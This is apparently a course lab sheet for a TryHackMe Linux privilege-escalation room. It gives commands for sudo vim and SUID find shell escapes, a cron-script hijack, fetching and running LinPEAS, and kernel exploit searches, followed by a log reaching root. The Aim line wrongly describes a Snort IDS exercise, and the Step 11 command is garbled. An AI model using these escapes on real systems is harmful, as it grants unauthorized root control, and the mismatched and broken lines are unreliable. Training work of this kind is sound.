

Ex. Nos. 8	Privilege Escalation in TryHackMe Platform
Date :	

Aim

To detect and prevent real-time network attacks using Snort IDS/IPS on the TryHackMe platform.

Software Requirements

TryHackMe account, AttackBox or VPN,SSH.

Explanation of Exercise

Privilege escalation means gaining higher permissions on a system after initial access (usually from a low-privilege user to root/administrator). In TryHackMe labs, the goal is usually to escalate privileges and capture the root flag.

Procedure

Step 1 – Login to TryHackMe

1. Open browser
2. Go to
<https://tryhackme.com>
3. Login with your credentials.

Step 2 – Open the Lab Room

1. Click Learn
2. Search for
Linux Privilege Escalation
3. Open the room.

The room contains multiple tasks and instructions. Follow all tasks and learn what is privilege Escalation.

TryHackMe Privilege Escalation Flow

1. Gain initial shell
2. Run enumeration commands
3. Check sudo -l
4. Search SUID binaries
5. Check cron jobs
6. Look for writable scripts
7. Use GTFBins
8. Run LinPEAS
9. Exploit vulnerability
10. Get root flag

Step 3 – Start AttackBox

At the top of the room page click:

Start AttackBox

Wait 1–2 minutes until the Kali Linux desktop loads.

AttackBox is a browser-based penetration testing machine.

Step 4 – Open Terminal

Inside AttackBox open the terminal.

Method 1

Click the Terminal icon in the bottom taskbar.

Method 2

Press the shortcut

CTRL + ALT + T

A terminal window will open.

Step 5 – Identify Target Machine

On the TryHackMe room page locate the Target IP Address.

Example:

10.10.152.45

This is the machine students will attack.

Step 6 – Connect to Target Machine

Use SSH to connect.

Command:

ssh username@target-ip

Example:

ssh tryhackme@10.10.152.45

Press Enter

When asked:

Are you sure you want to continue connecting?

Type

yes

Then enter the password provided in the room instructions.

If successful you will see:

tryhackme@target:~\$

This means you now have initial access to the system.

Step 7 – Verify Current User

Run the command:

whoami

Example output:

tryhackme

Explanation

This shows the current logged in user.

The goal is to escalate privileges to root.

Step 8 – Check User Information

Run:

id

Example output:

uid=1001(tryhackme) gid=1001(tryhackme) groups=1001(tryhackme)

Explanation

Shows user ID and group memberships.

Step 9 – Collect System Information

Run:

uname -a

Example output:

Linux ubuntu 4.4.0-21-generic

Explanation

Displays kernel version which may contain vulnerabilities.

Check operating system:

cat /etc/os-release

Example:

Ubuntu 16.04

Older OS versions may contain security flaws.

Step 10 – Check Sudo Permissions

Run:

sudo -l

Example output:

User tryhackme may run the following commands:

(root) NOPASSWD: /usr/bin/vim

Explanation

User can run vim as root without password.

Step 11 – Exploit Sudo Privilege

Execute:

sudo vim -c ''#!/bin/bash';

Now check:

whoami

Output:

root

Explanation

This command opens a root shell using vim.

Step 12 – Search for SUID Binaries

If sudo access is not available, search for SUID files.

Run:

```
find / -perm -4000 -type f 2>/dev/null
```

Example output:

```
/usr/bin/find
```

```
/usr/bin/passwd
```

```
/usr/bin/python
```

Explanation

SUID binaries run with owner privileges (often root).

Step 13 – Exploit SUID Binary

If find is present run:

```
find . -exec /bin/sh \; -quit
```

Then check:

```
whoami
```

If successful:

```
root
```

Step 14 – Check Cron Jobs

Cron jobs execute scheduled tasks.

Run:

```
cat /etc/crontab
```

Example output:

```
* * * * * root /home/user/script.sh
```

Explanation

The script runs every minute as root.

Check permissions:

```
ls -la /home/user/script.sh
```

If writable:

```
nano /home/user/script.sh
```

Add:

```
/bin/bash
```

When cron executes the script a root shell appears.

Step 15 – Check Writable Files

Find writable files:

```
find / -writable -type f 2>/dev/null
```

Explanation

Writable files may allow code injection.

Step 16 – Check PATH Variable

Display PATH:

```
echo $PATH
```

Example output:

```
/usr/local/bin:/usr/bin:/bin
```

Explanation

If root executes commands without absolute path, attackers can hijack commands.

Step 17 – Automated Enumeration Tool

Download LinPEAS.

```
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
```

Make executable:

```
chmod +x linpeas.sh
```

Run the tool:

```
./linpeas.sh
```

LinPEAS automatically detects:

SUID vulnerabilities

Cron jobs

PATH misconfigurations

Password leaks

Kernel exploits

Step 18 – Kernel Exploit Check

Check kernel version:

```
uname -r
```

Search exploit:

```
searchsploit linux kernel &lt;version>
```

Explanation

Older kernels may contain privilege escalation vulnerabilities.

Step 19 – Confirm Root Access

Run:

```
whoami
```

Output:

```
root
```

This confirms privilege escalation success.

Step 20 – Capture Root Flag

Navigate to root directory:

```
cd /root
```

List files:

```
ls
```

Read flag:

```
cat root.txt
```

Output

```
ubuntu@tryhackme: ~/Desktop
File Edit View Search Terminal Help
ubuntu@tryhackme:~/Desktop$ ssh tryhackme@10.10.152.45
The authenticity of host '10.10.152.45' can't be established.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.152.45' to the list of known hosts.
tryhackme@10.10.152.45's password:
Welcome to Ubuntu 16.04 LTS
tryhackme@target:~$
tryhackme@target:~$ whoami
tryhackme
tryhackme@target:~$ sudo -l
User tryhackme may run the following commands on target:
 (root) NOPASSWD: /usr/bin/vim
tryhackme@target:~$ sudo vim -c '!/bin/bash'
root@target:/home/tryhackme# whoami
root

root@ip-10-48-170-200: ~
File Edit View Search Terminal Help
root@ip-10-48-170-200:~# whoami
root
root@ip-10-48-170-200:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-48-170-200:~# uname -a
Linux ip-10-48-170-200 4.4.0-21-generic #37-Ubuntu SMP x86_64 GNU/Linux
root@ip-10-48-170-200:~# cd /root
root@ip-10-48-170-200:/root# ls
root.txt
root@ip-10-48-170-200:/root# cat root.txt
THM{root_access}
root@ip-10-48-170-200:/root#
```

Result:

Privilege escalation was successfully achieved by exploiting system misconfigurations, and root access was obtained. The root flag was captured, confirming complete system compromise in a controlled environment.